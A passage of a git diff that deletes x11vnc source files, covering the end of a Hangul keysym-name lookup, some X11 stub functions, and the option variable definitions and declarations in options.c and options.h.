- if (k == XK_Hangul_SsangJieuj) return "Hangul_SsangJieuj";
- if (k == XK_Hangul_Cieuc) return "Hangul_Cieuc";
- if (k == XK_Hangul_Khieuq) return "Hangul_Khieuq";
- if (k == XK_Hangul_Tieut) return "Hangul_Tieut";
- if (k == XK_Hangul_Phieuf) return "Hangul_Phieuf";
- if (k == XK_Hangul_Hieuh) return "Hangul_Hieuh";
- if (k == XK_Hangul_A) return "Hangul_A";
- if (k == XK_Hangul_AE) return "Hangul_AE";
- if (k == XK_Hangul_YA) return "Hangul_YA";
- if (k == XK_Hangul_YAE) return "Hangul_YAE";
- if (k == XK_Hangul_EO) return "Hangul_EO";
- if (k == XK_Hangul_E) return "Hangul_E";
- if (k == XK_Hangul_YEO) return "Hangul_YEO";
- if (k == XK_Hangul_YE) return "Hangul_YE";
- if (k == XK_Hangul_O) return "Hangul_O";
- if (k == XK_Hangul_WA) return "Hangul_WA";
- if (k == XK_Hangul_WAE) return "Hangul_WAE";
- if (k == XK_Hangul_OE) return "Hangul_OE";
- if (k == XK_Hangul_YO) return "Hangul_YO";
- if (k == XK_Hangul_U) return "Hangul_U";
- if (k == XK_Hangul_WEO) return "Hangul_WEO";
- if (k == XK_Hangul_WE) return "Hangul_WE";
- if (k == XK_Hangul_WI) return "Hangul_WI";
- if (k == XK_Hangul_YU) return "Hangul_YU";
- if (k == XK_Hangul_EU) return "Hangul_EU";
- if (k == XK_Hangul_YI) return "Hangul_YI";
- if (k == XK_Hangul_I) return "Hangul_I";
- if (k == XK_Hangul_J_Kiyeog) return "Hangul_J_Kiyeog";
- if (k == XK_Hangul_J_SsangKiyeog) return "Hangul_J_SsangKiyeog";
- if (k == XK_Hangul_J_KiyeogSios) return "Hangul_J_KiyeogSios";
- if (k == XK_Hangul_J_Nieun) return "Hangul_J_Nieun";
- if (k == XK_Hangul_J_NieunJieuj) return "Hangul_J_NieunJieuj";
- if (k == XK_Hangul_J_NieunHieuh) return "Hangul_J_NieunHieuh";
- if (k == XK_Hangul_J_Dikeud) return "Hangul_J_Dikeud";
- if (k == XK_Hangul_J_Rieul) return "Hangul_J_Rieul";
- if (k == XK_Hangul_J_RieulKiyeog) return "Hangul_J_RieulKiyeog";
- if (k == XK_Hangul_J_RieulMieum) return "Hangul_J_RieulMieum";
- if (k == XK_Hangul_J_RieulPieub) return "Hangul_J_RieulPieub";
- if (k == XK_Hangul_J_RieulSios) return "Hangul_J_RieulSios";
- if (k == XK_Hangul_J_RieulTieut) return "Hangul_J_RieulTieut";
- if (k == XK_Hangul_J_RieulPhieuf) return "Hangul_J_RieulPhieuf";
- if (k == XK_Hangul_J_RieulHieuh) return "Hangul_J_RieulHieuh";
- if (k == XK_Hangul_J_Mieum) return "Hangul_J_Mieum";
- if (k == XK_Hangul_J_Pieub) return "Hangul_J_Pieub";
- if (k == XK_Hangul_J_PieubSios) return "Hangul_J_PieubSios";
- if (k == XK_Hangul_J_Sios) return "Hangul_J_Sios";
- if (k == XK_Hangul_J_SsangSios) return "Hangul_J_SsangSios";
- if (k == XK_Hangul_J_Ieung) return "Hangul_J_Ieung";
- if (k == XK_Hangul_J_Jieuj) return "Hangul_J_Jieuj";
- if (k == XK_Hangul_J_Cieuc) return "Hangul_J_Cieuc";
- if (k == XK_Hangul_J_Khieuq) return "Hangul_J_Khieuq";
- if (k == XK_Hangul_J_Tieut) return "Hangul_J_Tieut";
- if (k == XK_Hangul_J_Phieuf) return "Hangul_J_Phieuf";
- if (k == XK_Hangul_J_Hieuh) return "Hangul_J_Hieuh";
- if (k == XK_Hangul_RieulYeorinHieuh) return "Hangul_RieulYeorinHieuh";
- if (k == XK_Hangul_SunkyeongeumMieum) return "Hangul_SunkyeongeumMieum";
- if (k == XK_Hangul_SunkyeongeumPieub) return "Hangul_SunkyeongeumPieub";
- if (k == XK_Hangul_PanSios) return "Hangul_PanSios";
- if (k == XK_Hangul_KkogjiDalrinIeung) return "Hangul_KkogjiDalrinIeung";
- if (k == XK_Hangul_SunkyeongeumPhieuf) return "Hangul_SunkyeongeumPhieuf";
- if (k == XK_Hangul_YeorinHieuh) return "Hangul_YeorinHieuh";
- if (k == XK_Hangul_AraeA) return "Hangul_AraeA";
- if (k == XK_Hangul_AraeAE) return "Hangul_AraeAE";
- if (k == XK_Hangul_J_PanSios) return "Hangul_J_PanSios";
- if (k == XK_Hangul_J_KkogjiDalrinIeung) return "Hangul_J_KkogjiDalrinIeung";
- if (k == XK_Hangul_J_YeorinHieuh) return "Hangul_J_YeorinHieuh";
- if (k == XK_Korean_Won) return "Korean_Won";
-#endif /* XK_KOREAN */
- if (k == XK_EuroSign) return "EuroSign";
-#endif
- return NULL;
-}
-
-KeySym XKeycodeToKeysym(Display *display, KeyCode keycode, int index) {
- if (!display || !keycode || !index) {}
- return NoSymbol;
-}
-
-KeyCode XKeysymToKeycode(Display *display, KeySym keysym) {
- if (!display || !keysym) {}
- return NoSymbol;
-}
-
-XErrorHandler XSetErrorHandler (XErrorHandler h) {
- return h;
-}
-
diff --git a/x11vnc/options.c b/x11vnc/options.c
deleted file mode 100644
index ab119b6..0000000
--- a/x11vnc/options.c
+++ /dev/null
@@ -1,514 +0,0 @@
-/*
- Copyright (C) 2002-2010 Karl J. Runge <runge@karlrunge.com>
- All rights reserved.
-
-This file is part of x11vnc.
-
-x11vnc is free software; you can redistribute it and/or modify
-it under the terms of the GNU General Public License as published by
-the Free Software Foundation; either version 2 of the License, or (at
-your option) any later version.
-
-x11vnc is distributed in the hope that it will be useful,
-but WITHOUT ANY WARRANTY; without even the implied warranty of
-MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
-GNU General Public License for more details.
-
-You should have received a copy of the GNU General Public License
-along with x11vnc; if not, write to the Free Software
-Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA
-or see <http://www.gnu.org/licenses/>.
-
-In addition, as a special exception, Karl J. Runge
-gives permission to link the code of its release of x11vnc with the
-OpenSSL project's "OpenSSL" library (or with modified versions of it
-that use the same license as the "OpenSSL" library), and distribute
-the linked executables. You must obey the GNU General Public License
-in all respects for all of the code used other than "OpenSSL". If you
-modify this file, you may extend this exception to your version of the
-file, but you are not obligated to do so. If you do not wish to do
-so, delete this exception statement from your version.
-*/
-
-/* -- options.c -- */
-
-#define _X11VNC_OPTIONS_H
-#include "x11vnc.h"
-
-/*
- * variables for the command line options
- */
-int debug = 0;
-
-char *use_dpy = NULL; /* -display */
-int display_N = 0;
-int auto_port = 0;
-char *auth_file = NULL; /* -auth/-xauth */
-char *visual_str = NULL; /* -visual */
-int set_visual_str_to_something = 0;
-char *logfile = NULL; /* -o, -logfile */
-int logfile_append = 0;
-char *flagfile = NULL; /* -flag */
-char *rm_flagfile = NULL; /* -rmflag */
-char *passwdfile = NULL; /* -passwdfile */
-int unixpw = 0; /* -unixpw */
-int unixpw_nis = 0; /* -unixpw_nis */
-char *unixpw_list = NULL;
-char *unixpw_cmd = NULL;
-int unixpw_system_greeter = 0;
-int unixpw_system_greeter_active = 0;
-int use_stunnel = 0; /* -stunnel */
-int stunnel_port = 0;
-char *stunnel_pem = NULL;
-int use_openssl = 0;
-int http_ssl = 0;
-int ssl_no_fail = 0;
-char *openssl_pem = NULL;
-char *ssl_certs_dir = NULL;
-char *enc_str = NULL;
-int vencrypt_mode = VENCRYPT_SUPPORT;
-int vencrypt_kx = VENCRYPT_BOTH;
-int vencrypt_enable_plain_login = 0;
-int anontls_mode = ANONTLS_SUPPORT;
-int create_fresh_dhparams = 0;
-char *dhparams_file = NULL;
-int http_try_it = 0;
-int stunnel_http_port = 0;
-int https_port_num = -1;
-int https_port_redir = 0;
-char *ssl_verify = NULL;
-char *ssl_crl = NULL;
-int ssl_initialized = 0;
-int ssl_timeout_secs = -1;
-char *ssh_str = NULL;
-pid_t ssh_pid = 0;
-int usepw = USEPW;
-char *blackout_str = NULL; /* -blackout */
-int blackout_ptr = 0;
-char *clip_str = NULL; /* -clip */
-int use_solid_bg = 0; /* -solid */
-char *solid_str = NULL;
-char *solid_default = "cyan4";
-
-char *wmdt_str = NULL; /* -wmdt */
-
-char *speeds_str = NULL; /* -speeds */
-
-char *rc_rcfile = NULL; /* -rc */
-int rc_rcfile_default = 0;
-int rc_norc = 0;
-int got_norc = 0;
-int opts_bg = 0;
-
-#ifndef VNCSHARED
-int shared = 0; /* share vnc display. */
-#else
-int shared = 1;
-#endif
-#ifndef FOREVER
-int connect_once = 1; /* disconnect after first connection session. */
-#else
-int connect_once = 0;
-#endif
-int got_connect_once = 0;
-int got_findauth = 0;
-int deny_all = 0; /* global locking of new clients */
-#ifndef REMOTE_DEFAULT
-#define REMOTE_DEFAULT 1
-#endif
-int accept_remote_cmds = REMOTE_DEFAULT; /* -noremote */
-char *remote_prefix = NULL;
-int remote_direct = 0;
-int query_default = 0;
-int safe_remote_only = 1; /* -unsafe */
-int priv_remote = 0; /* -privremote */
-int more_safe = 0; /* -safer */
-#ifndef EXTERNAL_COMMANDS
-#define EXTERNAL_COMMANDS 1
-#endif
-#if EXTERNAL_COMMANDS
-int no_external_cmds = 0; /* -nocmds */
-#else
-int no_external_cmds = 1; /* cannot be turned back on. */
-#endif
-char *allowed_external_cmds = NULL;
-int started_as_root = 0;
-int host_lookup = 1;
-char *unix_sock = NULL;
-int unix_sock_fd = -1;
-#if X11VNC_LISTEN6
-int ipv6_listen = 1; /* -6 / -no6 */
-int got_ipv6_listen = 1;
-#else
-int ipv6_listen = 0; /* -6 / -no6 */
-int got_ipv6_listen = 0;
-#endif
-int ipv6_listen_fd = -1;
-int ipv6_http_fd = -1;
-int noipv6 = 0;
-int noipv4 = 0;
-char *ipv6_client_ip_str = NULL;
-char *users_list = NULL; /* -users */
-char **user2group = NULL;
-char *allow_list = NULL; /* for -allow and -localhost */
-char *listen_str = NULL;
-char *listen_str6 = NULL;
-char *allow_once = NULL; /* one time -allow */
-char *accept_cmd = NULL; /* for -accept */
-char *afteraccept_cmd = NULL; /* for -afteraccept */
-char *gone_cmd = NULL; /* for -gone */
-#ifndef VIEWONLY
-#define VIEWONLY 0
-#endif
-int view_only = VIEWONLY; /* clients can only watch. */
-char *allowed_input_view_only = NULL;
-char *allowed_input_normal = NULL;
-char *allowed_input_str = NULL;
-char *viewonly_passwd = NULL; /* view only passwd. */
-char **passwd_list = NULL; /* for -passwdfile */
-int begin_viewonly = -1;
-int inetd = 0; /* spawned from inetd(8) */
-#ifndef TIGHTFILEXFER
-#define TIGHTFILEXFER 0
-#endif
-int tightfilexfer = TIGHTFILEXFER;
-int got_ultrafilexfer = 0;
-int first_conn_timeout = 0; /* -timeout */
-int ping_interval = 0; /* -ping */
-int flash_cmap = 0; /* follow installed colormaps */
-int shift_cmap = 0; /* ncells < 256 and needs shift of pixel values */
-int force_indexed_color = 0; /* whether to force indexed color for 8bpp */
-int advertise_truecolor = 0;
-int advertise_truecolor_reset = 0;
-int cmap8to24 = 0; /* -8to24 */
-int xform24to32 = 0; /* -24to32 */
-char *cmap8to24_str = NULL;
-int launch_gui = 0; /* -gui */
-
-#ifndef AVAHI
-#define AVAHI 0
-#endif
-int avahi = AVAHI; /* -avahi, -mdns */
-int vnc_redirect = 0;
-int vnc_redirect_sock = -1;
-
-int use_modifier_tweak = 1; /* use the shift/altgr modifier tweak */
-int watch_capslock = 0; /* -capslock */
-int skip_lockkeys = 0; /* -skip_lockkeys */
-int use_iso_level3 = 0; /* ISO_Level3_Shift instead of Mode_switch */
-int clear_mods = 0; /* -clear_mods (1) and -clear_keys (2) -clear_locks (3) */
-int nofb = 0; /* do not send any fb updates */
-char *raw_fb_str = NULL; /* used under -rawfb */
-char *raw_fb_pixfmt = NULL;
-char *raw_fb_full_str = NULL;
-char *freqtab = NULL;
-char *pipeinput_str = NULL; /* -pipeinput [tee,reopen,keycodes:]cmd */
-char *pipeinput_opts = NULL;
-FILE *pipeinput_fh = NULL;
-int pipeinput_tee = 0;
-int pipeinput_int = 0;
-int pipeinput_cons_fd = -1;
-char *pipeinput_cons_dev = NULL;
-
-int macosx_nodimming = 0; /* Some native MacOSX server settings. */
-int macosx_nosleep = 0;
-int macosx_noscreensaver = 0;
-int macosx_wait_for_switch = 1;
-int macosx_mouse_wheel_speed = 5;
-int macosx_console = 0;
-int macosx_swap23 = 1;
-int macosx_resize = 1;
-int macosx_icon_anim_time = 450;
-int macosx_no_opengl = 0;
-int macosx_no_rawfb = 0;
-int macosx_read_opengl = 0;
-int macosx_read_rawfb = 0;
-
-unsigned long subwin = 0x0; /* -id, -sid */
-int subwin_wait_mapped = 0;
-int freeze_when_obscured = 0;
-int subwin_obscured = 0;
-
-int debug_xevents = 0; /* -R debug_xevents:1 */
-int debug_xdamage = 0; /* -R debug_xdamage:1 or 2 ... */
-int debug_wireframe = 0;
-int debug_tiles = 0;
-int debug_grabs = 0;
-int debug_sel = 0;
-
-int xtrap_input = 0; /* -xtrap for user input insertion */
-int xinerama = XINERAMA; /* -xinerama */
-int xrandr = 0; /* -xrandr */
-int xrandr_maybe = 1; /* check for events, but don't trap all calls */
-char *xrandr_mode = NULL;
-char *pad_geometry = NULL;
-time_t pad_geometry_time = 0;
-int use_snapfb = 0;
-
-int use_xrecord = 0;
-int noxrecord = 0;
-
-char *client_connect = NULL; /* strings for -connect option */
-char *client_connect_file = NULL;
-int connect_or_exit = 0;
-int vnc_connect = 1; /* -vncconnect option */
-char *connect_proxy = NULL;
-
-int show_cursor = 1; /* show cursor shapes */
-int show_multiple_cursors = 0; /* show X when on root background, etc */
-char *multiple_cursors_mode = NULL;
-#ifndef CURSOR_DRAG
-#define CURSOR_DRAG 0
-#endif
-int cursor_drag_changes = CURSOR_DRAG;
-int cursor_pos_updates = 1; /* cursor position updates -cursorpos */
-int cursor_shape_updates = 1; /* cursor shape updates -nocursorshape */
-int use_xwarppointer = 0; /* use XWarpPointer instead of XTestFake... */
-int always_inject = 0; /* inject new mouse coordinates even if dx=dy=0 */
-int show_dragging = 1; /* process mouse movement events */
-#ifndef WIREFRAME
-#define WIREFRAME 1
-#endif
-int wireframe = WIREFRAME; /* try to emulate wireframe wm moves */
-/* shade,linewidth,percent,T+B+L+R,t1+t2+t3+t4 */
-char *wireframe_str = NULL;
-char *wireframe_copyrect = NULL;
-#ifndef WIREFRAME_COPYRECT
-#define WIREFRAME_COPYRECT 1
-#endif
-#if WIREFRAME_COPYRECT
-char *wireframe_copyrect_default = "always";
-#else
-char *wireframe_copyrect_default = "never";
-#endif
-int wireframe_in_progress = 0;
-int wireframe_local = 1;
-
-#ifndef NCACHE
-#ifdef NO_NCACHE
-#define NCACHE 0
-#else
-#define xxNCACHE -12
-#define NCACHE -1
-#endif
-#endif
-
-#ifdef MACOSX
-int ncache = 0;
-int ncache_pad = 24;
-#else
-int ncache = NCACHE;
-int ncache_pad = 0;
-#endif
-
-#ifndef NCACHE_XROOTPMAP
-#define NCACHE_XROOTPMAP 1
-#endif
-int ncache_xrootpmap = NCACHE_XROOTPMAP;
-int ncache0 = 0;
-int ncache_default = 10;
-int ncache_copyrect = 0;
-int ncache_wf_raises = 1;
-int ncache_dt_change = 1;
-int ncache_keep_anims = 0;
-int ncache_old_wm = 0;
-int macosx_ncache_macmenu = 0;
-int macosx_us_kbd = 0;
-int ncache_beta_tester = 0;
-int ncdb = 0;
-
-Atom atom_NET_ACTIVE_WINDOW = None;
-Atom atom_NET_CURRENT_DESKTOP = None;
-Atom atom_NET_CLIENT_LIST_STACKING = None;
-Atom atom_XROOTPMAP_ID = None;
-double got_NET_ACTIVE_WINDOW = 0.0;
-double got_NET_CURRENT_DESKTOP = 0.0;
-double got_NET_CLIENT_LIST_STACKING = 0.0;
-double got_XROOTPMAP_ID = 0.0;
-
-/* T+B+L+R,tkey+presist_key,tmouse+persist_mouse */
-char *scroll_copyrect_str = NULL;
-#ifndef SCROLL_COPYRECT
-#define SCROLL_COPYRECT 1
-#endif
-char *scroll_copyrect = NULL;
-#if SCROLL_COPYRECT
-#if 1
-char *scroll_copyrect_default = "always"; /* -scrollcopyrect */
-#else
-char *scroll_copyrect_default = "keys";
-#endif
-#else
-char *scroll_copyrect_default = "never";
-#endif
-char *scroll_key_list_str = NULL;
-KeySym *scroll_key_list = NULL;
-
-#ifndef SCALING_COPYRECT
-#define SCALING_COPYRECT 1
-#endif
-int scaling_copyrect0 = SCALING_COPYRECT;
-int scaling_copyrect = SCALING_COPYRECT;
-
-int scrollcopyrect_min_area = 60000; /* minimum rectangle area */
-int debug_scroll = 0;
-double pointer_flush_delay = 0.0;
-double last_scroll_event = 0.0;
-int max_scroll_keyrate = 0;
-double max_keyrepeat_time = 0.0;
-char *max_keyrepeat_str = NULL;
-char *max_keyrepeat_str0 = "4-20";
-int max_keyrepeat_lo = 1, max_keyrepeat_hi = 40;
-
-char **scroll_good_all = NULL;
-char **scroll_good_key = NULL;
-char **scroll_good_mouse = NULL;
-char *scroll_good_str = NULL;
-char *scroll_good_str0 = "##Nomatch";
-/* "##Firefox-bin," */
-/* "##Gnome-terminal," */
-/* "##XTerm", */
-
-char **scroll_skip_all = NULL;
-char **scroll_skip_key = NULL;
-char **scroll_skip_mouse = NULL;
-char *scroll_skip_str = NULL;
-char *scroll_skip_str0 = "##Soffice.bin,##StarOffice,##OpenOffice";
-/* "##Konsole," * no problems, known heuristics do not work */
-
-char **scroll_term = NULL;
-char *scroll_term_str = NULL;
-char *scroll_term_str0 = "term";
-
-char* screen_fixup_str = NULL;
-double screen_fixup_V = 0.0;
-double screen_fixup_C = 0.0;
-double screen_fixup_X = 0.0;
-double screen_fixup_8 = 0.0;
-
-#ifndef NOREPEAT
-#define NOREPEAT 1
-#endif
-int no_autorepeat = NOREPEAT; /* turn off autorepeat with clients */
-int no_repeat_countdown = 2;
-int watch_bell = 1; /* watch for the bell using XKEYBOARD */
-int sound_bell = 1; /* actually send it */
-int xkbcompat = 0; /* ignore XKEYBOARD extension */
-int use_xkb_modtweak = 0; /* -xkb */
-#ifndef SKIPDUPS
-#define SKIPDUPS 0
-#endif
-int skip_duplicate_key_events = SKIPDUPS;
-char *skip_keycodes = NULL;
-int sloppy_keys = 0;
-#ifndef ADDKEYSYMS
-#define ADDKEYSYMS 1
-#endif
-int add_keysyms = ADDKEYSYMS; /* automatically add keysyms to X server */
-
-char *remap_file = NULL; /* -remap */
-char *pointer_remap = NULL;
-/* use the various ways of updating pointer */
-#ifndef POINTER_MODE_DEFAULT
-#define POINTER_MODE_DEFAULT 2
-#endif
-int pointer_mode = POINTER_MODE_DEFAULT;
-int pointer_mode_max = 4;
-int single_copytile = 0; /* use the old way copy_tiles() */
-int single_copytile_orig = 0;
-int single_copytile_count = 0;
-int tile_shm_count = 0;
-
-int using_shm = 1; /* whether mit-shm is used */
-int flip_byte_order = 0; /* sometimes needed when using_shm = 0 */
-/*
- * waitms is the msec to wait between screen polls. Not too old h/w shows
- * poll times of 10-35ms, so maybe this value cuts the idle load by 2 or so.
- */
-int waitms = 20;
-int got_waitms = 0;
-double wait_ui = 2.0;
-double slow_fb = 0.0;
-double xrefresh = 0.0;
-int wait_bog = 1;
-int extra_fbur = 1;
-int defer_update = 20; /* deferUpdateTime ms to wait before sends. */
-int set_defer = 1;
-int got_defer = 0;
-int got_deferupdate = 0;
-
-int screen_blank = 60; /* number of seconds of no activity to throttle */
- /* down the screen polls. zero to disable. */
-int no_fbu_blank = 30; /* nap if no client updates in this many secs. */
-int take_naps = 1; /* -nap/-nonap */
-int naptile = 4; /* tile change threshold per poll to take a nap */
-int napfac = 4; /* time = napfac*waitms, cut load with extra waits */
-int napmax = 1500; /* longest nap in ms. */
-int ui_skip = 10; /* see watchloop. negative means ignore input */
-int all_input = 0;
-int handle_events_eagerly = 0;
-
-
-#if LIBVNCSERVER_HAVE_FBPM
-int watch_fbpm = 1; /* -nofbpm */
-#else
-int watch_fbpm = 0;
-#endif
-
-int watch_dpms = 0; /* -dpms */
-int force_dpms = 0;
-int client_dpms = 0;
-int no_ultra_dpms = 0;
-int no_ultra_ext = 0;
-int saw_ultra_chat = 0;
-int saw_ultra_file = 0;
-int chat_window = 0;
-rfbClientPtr chat_window_client = NULL;
-
-int watch_selection = 1; /* normal selection/cutbuffer maintenance */
-int watch_primary = 1; /* more dicey, poll for changes in PRIMARY */
-int watch_clipboard = 1;
-char *sel_direction = NULL; /* "send" or "recv" for one-way */
-
-char *sigpipe = NULL; /* skip, ignore, exit */
-
-/* visual stuff for -visual override or -overlay */
-VisualID visual_id = (VisualID) 0;
-int visual_depth = 0;
-
-/* for -overlay mode on Solaris/IRIX. X server draws cursor correctly. */
-int overlay = 0;
-int overlay_cursor = 1;
-
-/* tile heuristics: */
-double fs_frac = 0.75; /* threshold tile fraction to do fullscreen updates. */
-int tile_fuzz = 2; /* tolerance for suspecting changed tiles touching */
- /* a known changed tile. */
-int grow_fill = 3; /* do the grow islands heuristic with this width. */
-int gaps_fill = 4; /* do a final pass to try to fill gaps between tiles. */
-
-int debug_pointer = 0;
-int debug_keyboard = 0;
-
-int quiet = 0;
-int verbose = 0;
-
-/* threaded vs. non-threaded (default) */
-int use_threads = 0;
-int started_rfbRunEventLoop = 0;
-int threads_drop_input = 0;
-
-/* info about command line opts */
-int got_noxwarppointer = 0;
-int got_rfbport = 0;
-int got_rfbport_val = -1;
-int got_alwaysshared = 0;
-int got_nevershared = 0;
-int got_cursorpos = 0;
-int got_pointer_mode = -1;
-int got_noviewonly = 0;
-int got_wirecopyrect = 0;
-int got_scrollcopyrect = 0;
-int got_noxkb = 0;
-int got_nomodtweak = 0;
-
diff --git a/x11vnc/options.h b/x11vnc/options.h
deleted file mode 100644
index 609f4ce..0000000
--- a/x11vnc/options.h
+++ /dev/null
@@ -1,404 +0,0 @@
-/*
- Copyright (C) 2002-2010 Karl J. Runge <runge@karlrunge.com>
- All rights reserved.
-
-This file is part of x11vnc.
-
-x11vnc is free software; you can redistribute it and/or modify
-it under the terms of the GNU General Public License as published by
-the Free Software Foundation; either version 2 of the License, or (at
-your option) any later version.
-
-x11vnc is distributed in the hope that it will be useful,
-but WITHOUT ANY WARRANTY; without even the implied warranty of
-MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
-GNU General Public License for more details.
-
-You should have received a copy of the GNU General Public License
-along with x11vnc; if not, write to the Free Software
-Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA
-or see <http://www.gnu.org/licenses/>.
-
-In addition, as a special exception, Karl J. Runge
-gives permission to link the code of its release of x11vnc with the
-OpenSSL project's "OpenSSL" library (or with modified versions of it
-that use the same license as the "OpenSSL" library), and distribute
-the linked executables. You must obey the GNU General Public License
-in all respects for all of the code used other than "OpenSSL". If you
-modify this file, you may extend this exception to your version of the
-file, but you are not obligated to do so. If you do not wish to do
-so, delete this exception statement from your version.
-*/
-
-#ifndef _X11VNC_OPTIONS_H
-#define _X11VNC_OPTIONS_H
-
-/* -- options.h -- */
-
-/*
- * variables for the command line options
- */
-extern int debug;
-
-extern char *use_dpy;
-extern int display_N;
-extern int auto_port;
-extern char *auth_file;
-extern char *visual_str;
-extern int set_visual_str_to_something;
-extern char *logfile;
-extern int logfile_append;
-extern char *flagfile;
-extern char *rm_flagfile;
-extern char *passwdfile;
-extern int unixpw;
-extern int unixpw_nis;
-extern char *unixpw_list;
-extern char *unixpw_cmd;
-extern int unixpw_system_greeter;
-extern int unixpw_system_greeter_active;
-extern int use_stunnel;
-extern int stunnel_port;
-extern char *stunnel_pem;
-extern int use_openssl;
-extern int http_ssl;
-extern int ssl_no_fail;
-extern char *openssl_pem;
-extern char *ssl_certs_dir;
-extern char *enc_str;
-extern int vencrypt_mode;
-extern int vencrypt_kx;
-extern int vencrypt_enable_plain_login;
-extern int anontls_mode;
-extern int create_fresh_dhparams;
-extern char *dhparams_file;
-extern int http_try_it;
-extern int stunnel_http_port;
-extern int https_port_num;
-extern int https_port_redir;
-extern char *ssl_verify;
-extern char *ssl_crl;
-extern int ssl_initialized;
-extern int ssl_timeout_secs;
-extern char *ssh_str;
-extern pid_t ssh_pid;
-extern int usepw;
-extern char *blackout_str;
-extern int blackout_ptr;
-extern char *clip_str;
-extern int use_solid_bg;
-extern char *solid_str;
-extern char *solid_default;
-
-extern char *wmdt_str;
-
-extern char *speeds_str;
-extern char *rc_rcfile;
-extern int rc_rcfile_default;
-extern int rc_norc;
-extern int got_norc;
-extern int opts_bg;
-
-extern int shared;
-extern int connect_once;
-extern int got_connect_once;
-extern int got_findauth;
-extern int deny_all;
-extern int accept_remote_cmds;
-extern char *remote_prefix;
-extern int remote_direct;
-extern int query_default;
-extern int safe_remote_only;
-extern int priv_remote;
-extern int more_safe;
-extern int no_external_cmds;
-extern char *allowed_external_cmds;
-extern int started_as_root;
-extern int host_lookup;
-extern char *unix_sock;
-extern int unix_sock_fd;
-extern int ipv6_listen;
-extern int got_ipv6_listen;
-extern int ipv6_listen_fd;
-extern int ipv6_http_fd;
-extern int noipv6;
-extern int noipv4;
-extern char *ipv6_client_ip_str;
-extern char *users_list;
-extern char **user2group;
-extern char *allow_list;
-extern char *listen_str;
-extern char *listen_str6;
-extern char *allow_once;
-extern char *accept_cmd;
-extern char *afteraccept_cmd;
-extern char *gone_cmd;
-extern int view_only;
-extern char *allowed_input_view_only;
-extern char *allowed_input_normal;
-extern char *allowed_input_str;
-extern char *viewonly_passwd;
-extern char **passwd_list;
-extern int begin_viewonly;
-extern int inetd;
-extern int tightfilexfer;
-extern int got_ultrafilexfer;
-extern int first_conn_timeout;
-extern int ping_interval;
-extern int flash_cmap;
-extern int shift_cmap;
-extern int force_indexed_color;
-extern int advertise_truecolor;
-extern int advertise_truecolor_reset;
-extern int cmap8to24;
-extern char *cmap8to24_str;
-extern int xform24to32;
-extern int launch_gui;
-
-extern int avahi;
-extern int vnc_redirect;
-extern int vnc_redirect_sock;
-
-extern int use_modifier_tweak;
-extern int watch_capslock;
-extern int skip_lockkeys;
-extern int use_iso_level3;
-extern int clear_mods;
-extern int nofb;
-extern char *raw_fb_str;
-extern char *raw_fb_pixfmt;
-extern char *raw_fb_full_str;
-extern char *freqtab;
-extern char *pipeinput_str;
-extern char *pipeinput_opts;
-extern FILE *pipeinput_fh;
-extern int pipeinput_tee;
-extern int pipeinput_int;
-extern int pipeinput_cons_fd;
-extern char *pipeinput_cons_dev;
-
-extern int macosx_nodimming;
-extern int macosx_nosleep;
-extern int macosx_noscreensaver;
-extern int macosx_wait_for_switch;
-extern int macosx_mouse_wheel_speed;
-extern int macosx_console;
-extern int macosx_swap23;
-extern int macosx_resize;
-extern int macosx_icon_anim_time;
-extern int macosx_no_opengl;
-extern int macosx_no_rawfb;
-extern int macosx_read_opengl;
-extern int macosx_read_rawfb;
-
-extern unsigned long subwin;
-extern int subwin_wait_mapped;
-extern int freeze_when_obscured;
-extern int subwin_obscured;
-
-extern int debug_xevents;
-extern int debug_xdamage;
-extern int debug_wireframe;
-extern int debug_tiles;
-extern int debug_grabs;
-extern int debug_sel;
-
-extern int xtrap_input;
-extern int xinerama;
-extern int xrandr;
-extern int xrandr_maybe;
-extern char *xrandr_mode;
-extern char *pad_geometry;
-extern time_t pad_geometry_time;
-extern int use_snapfb;
-
-extern int use_xrecord;
-extern int noxrecord;
-
-extern char *client_connect;
-extern char *client_connect_file;
-extern int connect_or_exit;
-extern int vnc_connect;
-extern char *connect_proxy;
-
-extern int show_cursor;
-extern int show_multiple_cursors;
-extern char *multiple_cursors_mode;
-extern int cursor_drag_changes;
-extern int cursor_pos_updates;
-extern int cursor_shape_updates;
-extern int use_xwarppointer;
-extern int always_inject;
-extern int show_dragging;
-extern int wireframe;
-extern int wireframe_local;
-
-extern char *wireframe_str;
-extern char *wireframe_copyrect;
-extern char *wireframe_copyrect_default;
-extern int wireframe_in_progress;
-
-extern int ncache;
-extern int ncache0;
-extern int ncache_default;
-extern int ncache_copyrect;
-extern int ncache_wf_raises;
-extern int ncache_dt_change;
-extern int ncache_pad;
-extern int ncache_xrootpmap;
-extern int ncache_keep_anims;
-extern int ncache_old_wm;
-extern int macosx_ncache_macmenu;
-extern int macosx_us_kbd;
-extern int ncache_beta_tester;
-extern int ncdb;
-
-extern Atom atom_NET_ACTIVE_WINDOW;
-extern Atom atom_NET_CURRENT_DESKTOP;
-extern Atom atom_NET_CLIENT_LIST_STACKING;
-extern Atom atom_XROOTPMAP_ID;
-extern double got_NET_ACTIVE_WINDOW;
-extern double got_NET_CURRENT_DESKTOP;
-extern double got_NET_CLIENT_LIST_STACKING;
-extern double got_XROOTPMAP_ID;
-
-extern char *scroll_copyrect_str;
-extern char *scroll_copyrect;
-extern char *scroll_copyrect_default;
-extern char *scroll_key_list_str;
-extern KeySym *scroll_key_list;
-
-extern int scaling_copyrect0;
-extern int scaling_copyrect;
-
-extern int scrollcopyrect_min_area;
-extern int debug_scroll;
-extern double pointer_flush_delay;
-extern double last_scroll_event;
-extern int max_scroll_keyrate;
-extern double max_keyrepeat_time;
-extern char *max_keyrepeat_str;
-extern char *max_keyrepeat_str0;
-extern int max_keyrepeat_lo, max_keyrepeat_hi;
-
-extern char **scroll_good_all;
-extern char **scroll_good_key;
-extern char **scroll_good_mouse;
-extern char *scroll_good_str;
-extern char *scroll_good_str0;
-
-extern char **scroll_skip_all;
-extern char **scroll_skip_key;
-extern char **scroll_skip_mouse;
-extern char *scroll_skip_str;
-extern char *scroll_skip_str0;
-
-extern char **scroll_term;
-extern char *scroll_term_str;
-extern char *scroll_term_str0;
-
-extern char* screen_fixup_str;
-extern double screen_fixup_V;
-extern double screen_fixup_C;
-extern double screen_fixup_X;
-extern double screen_fixup_8;
-
-extern int no_autorepeat;
-extern int no_repeat_countdown;
-extern int watch_bell;
-extern int sound_bell;
-extern int xkbcompat;
